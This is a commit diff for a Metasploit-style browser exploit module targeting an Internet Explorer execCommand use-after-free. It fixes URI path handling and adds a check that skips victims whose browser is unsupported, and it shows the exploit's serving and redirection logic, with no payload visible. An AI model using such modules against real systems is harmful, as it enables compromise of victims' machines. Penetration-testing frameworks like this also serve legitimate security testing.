Skip to content

Commit d77ab9d

Browse files
committed
Fix URIPATH and nil target
Allow random and '/' as URIPATh, also refuse serving the exploit when the browser is unknown.
1 parent 48a46f3 commit d77ab9d

File tree

1 file changed

+15
-3
lines changed

1 file changed

+15
-3
lines changed

modules/exploits/windows/browser/ie_execcommand_uaf.rb

Lines changed: 15 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -285,7 +285,7 @@ def load_html1(cli, my_target)
285285
arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}";
286286
</script>
287287
288-
<iframe src="#{get_resource}/#{@html2_name}"></iframe>
288+
<iframe src="#{this_resource}/#{@html2_name}"></iframe>
289289
<script>
290290
#{js}
291291
</script>
@@ -321,11 +321,23 @@ def load_html2
321321
return html
322322
end
323323

324+
def this_resource
325+
r = get_resource
326+
return ( r == '/') ? '' : r
327+
end
328+
324329
def on_request_uri(cli, request)
325330
print_status request.headers['User-Agent']
326331
agent = request.headers['User-Agent']
327332
my_target = get_target(agent)
328333

334+
# Avoid the attack if the victim doesn't have the same setup we're targeting
335+
if my_target.nil?
336+
print_error("Browser not supported: #{agent.to_s}")
337+
send_not_found(cli)
338+
return
339+
end
340+
329341
vprint_status("Requesting: #{request.uri}")
330342

331343
if request.uri =~ /#{@html2_name}/
@@ -334,9 +346,9 @@ def on_request_uri(cli, request)
334346
elsif request.uri =~ /#{@html1_name}/
335347
print_status("Loading #{@html1_name}")
336348
html = load_html1(cli, my_target)
337-
elsif request.uri =~ /#{get_resource}$/
349+
elsif request.uri =~ /\/$/ or request.uri =~ /#{this_resource}$/
338350
print_status("Redirecting to #{@html1_name}")
339-
send_redirect(cli, "#{get_resource}/#{@html1_name}")
351+
send_redirect(cli, "#{this_resource}/#{@html1_name}")
340352
return
341353
else
342354
send_not_found(cli)

0 commit comments

Comments
 (0)